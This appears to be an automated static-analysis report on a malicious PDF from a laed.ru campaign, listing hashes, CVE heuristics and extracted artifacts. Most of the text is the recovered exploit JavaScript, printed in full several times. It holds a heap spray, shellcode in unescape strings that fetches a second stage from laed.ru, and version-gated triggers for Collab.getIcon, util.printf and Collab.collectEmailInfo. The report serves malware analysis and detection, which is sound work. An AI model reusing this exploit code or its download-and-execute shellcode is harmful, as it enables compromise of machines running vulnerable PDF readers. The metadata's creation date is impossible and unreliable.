Malicious PDF — malware analysis report

Static analysis result for SHA-256 ba6e322420c8839b…

MALICIOUS

PDF

2.5 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2012-07-12
MD5: dbd5d263cae6bc5b9e52e938d51cd849 SHA-1: e06c57ee60c61b0664d39eee4820ab88aa9db6d3 SHA-256: ba6e322420c8839bae0adc72ac3c78b3a49f9a4f5a2f0d90f51ed0b222993034
630 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The file is a PDF identified as malicious by ClamAV and an ML classifier. It contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics, and a suspicious extracted artifact named 'javascript_obj0013_001.js'. The embedded JavaScript is likely responsible for executing the malicious payload, potentially exploiting a known PDF vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    vart87l=newArray();functionp45k(n40v,y17z){while(n40v.length*2<y17z){n40v=n40v;}n40v=n40v.substring(0,y17z/2);returnn40v;}functionk33e(e93b){vark76d=0x0c0c0c0c;varn83i=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C5 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://laed.ru/exp/load.php?stat=Windows/load.php&s=1 Referenced by PDF JavaScript
    • http://laed.ru/exp/load.php?stat=Windows/load.php&s=2Referenced by PDF JavaScript
    • http://laed.ru/exp/load.php?stat=Windows/load.php&s=3Referenced by PDF JavaScript
    • http://laed.ru/exp/load.php?stat=WReferenced by PDF JavaScript
🗂 Part of campaign: laed.ru 5 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 3695 bytes
SHA-256: 730d26cb2e830eccab5a0e967e82680af03e7b19c0937b0a48bffb80721a32e9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var t87l = new Array();
function p45k(n40v, y17z){
 while (n40v.length * 2 < y17z){
n40v += n40v;
}
n40v = n40v.substring(0, y17z / 2);
return n40v;
}
function k33e(e93b){
var k76d = 0x0c0c0c0c;
var n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (e93b == 1){
k76d = 0x30303030;
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (e93b == 2){
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o39n = 0x400000;
var h17u = n83i.length * 2;
var y17z = o39n - (h17u + 0x38);
var n40v = unescape("%u9090%u9090");
n40v = p45k(n40v, y17z);
var a95r = (k76d - 0x400000) / o39n;
for (var l60d = 0; l60d < a95r; l60d ++ ){
t87l[l60d] = n40v + n83i;
}
}
function y17n(){
var u12s = app.viewerVersion.toString();
if (u12s > 8){
k33e(1);
var t55b = "12999999999999999999";
for (z76a = 0; z76a < 276; z76a ++ ){
t55b += "8";
}
util.printf("%45000f", t55b);
}
if (u12s < 8){
k33e(0);
var a19t = unescape("%u0c0c%u0c0c");
while (a19t.length < 44952)a19t += a19t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a19t});
}
if (u12s < 9.1)
{
if (app.doc.Collab.getIcon){
k33e(2);
var e75o = unescape("%09");
while (e75o.length < 0x4000)e75o += e75o;
e75o = "N." + e75o;
app.doc.Collab.getIcon(e75o);
}
}
}
y17n();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 278 bytes
SHA-256: d23bae29ca373c5ea996285beb03c7a97a5a175fa81a60919d05f11fb31c4032
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 278 bytes
SHA-256: 20e311bb7d54e53d3df9a41057f4fabd7540d94d24f96c048779f08532f514f7
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 278 bytes
SHA-256: ca2366a51fd6d0d9ca7888fafc4b15b69bbabd8bf094a6e587e25b99f4ec631d
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 3691 bytes
SHA-256: c4818effeff29d652d3efb5fb4b288e40bebc0a32d6d2a62c54f309b5a113b42
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var t87l = new Array();
function p45k(n40v, y17z){
 while (n40v.length * 2 < y17z){
n40v += n40v;
}
n40v = n40v.substring(0, y17z / 2);
return n40v;
}
function k33e(e93b){
var k76d = 0x0c0c0c0c;
var n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (e93b == 1){
k76d = 0x30303030;
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (e93b == 2){
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o39n = 0x400000;
var h17u = n83i.length * 2;
var y17z = o39n - (h17u + 0x38);
var n40v = unescape("%u9090%u9090");
n40v = p45k(n40v, y17z);
var a95r = (k76d - 0x400000) / o39n;
for (var l60d = 0; l60d < a95r; l60d ++ ){
t87l[l60d] = n40v + n83i;
}
}
function y17n(){
var u12s = app.viewerVersion.toString();
if (u12s > 8){
k33e(1);
var t55b = "12999999999999999999";
for (z76a = 0; z76a < 276; z76a ++ ){
t55b += "8";
}
util.printf("E000f", t55b);
}
if (u12s < 8){
k33e(0);
var a19t = unescape("%u0c0c%u0c0c");
while (a19t.length < 44952)a19t += a19t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a19t});
}
if (u12s < 9.1)
{
if (app.doc.Collab.getIcon){
k33e(2);
var e75o = unescape("	");
while (e75o.length < 0x4000)e75o += e75o;
e75o = "N." + e75o;
app.doc.Collab.getIcon(e75o);
}
}
}
y17n();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 3702 bytes
SHA-256: ef382ddecb48fa865cec73296ad5e40ddfa2623a85bc22ef1bd2b45fcae291a7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var t87l = new Array();
function p45k(n40v, y17z){
 while (n40v.length * 2 < y17z){
n40v += n40v;
}
n40v = n40v.substring(0, y17z / 2);
return n40v;
}
function k33e(e93b){
var k76d = 0x0c0c0c0c;
var n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (e93b == 1){
k76d = 0x30303030;
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (e93b == 2){
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o39n = 0x400000;
var h17u = n83i.length * 2;
var y17z = o39n - (h17u + 0x38);
var n40v = unescape("%u9090%u9090");
n40v = p45k(n40v, y17z);
var a95r = (k76d - 0x400000) / o39n;
for (var l60d = 0; l60d < a95r; l60d ++ ){
t87l[l60d] = n40v + n83i;
}
}
function y17n(){
var u12s = app.viewerVersion.toString();
if (u12s > 8){
k33e(1);
var t55b = "12999999999999999999";
for (z76a = 0; z76a < 276; z76a ++ ){
t55b += "8";
}
util.printf("E000f", t55b);
}
if (u12s < 8){
k33e(0);
var a19t = unescape("%u0c0c%u0c0c");
while (a19t.length < 44952)a19t += a19t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a19t});
}
if (u12s < 9.1)
{
if (app.doc.Collab.getIcon){
k33e(2);
var e75o = unescape("	");
while (e75o.length < 0x4000)e75o += e75o;
e75o = "N." + e75o;
app.doc.Collab.getIcon(e75o);
}
}
}
y17n();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 3706 bytes
SHA-256: af646a744037aa699859d07a39a637f12cda7cc5b84f7e907c3412e01ddea294
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var t87l = new Array();
function p45k(n40v, y17z){
 while (n40v.length * 2 < y17z){
n40v += n40v;
}
n40v = n40v.substring(0, y17z / 2);
return n40v;
}
function k33e(e93b){
var k76d = 0x0c0c0c0c;
var n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (e93b == 1){
k76d = 0x30303030;
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (e93b == 2){
n83i = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o39n = 0x400000;
var h17u = n83i.length * 2;
var y17z = o39n - (h17u + 0x38);
var n40v = unescape("%u9090%u9090");
n40v = p45k(n40v, y17z);
var a95r = (k76d - 0x400000) / o39n;
for (var l60d = 0; l60d < a95r; l60d ++ ){
t87l[l60d] = n40v + n83i;
}
}
function y17n(){
var u12s = app.viewerVersion.toString();
if (u12s > 8){
k33e(1);
var t55b = "12999999999999999999";
for (z76a = 0; z76a < 276; z76a ++ ){
t55b += "8";
}
util.printf("%45000f", t55b);
}
if (u12s < 8){
k33e(0);
var a19t = unescape("%u0c0c%u0c0c");
while (a19t.length < 44952)a19t += a19t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a19t});
}
if (u12s < 9.1)
{
if (app.doc.Collab.getIcon){
k33e(2);
var e75o = unescape("%09");
while (e75o.length < 0x4000)e75o += e75o;
e75o = "N." + e75o;
app.doc.Collab.getIcon(e75o);
}
}
}
y17n();

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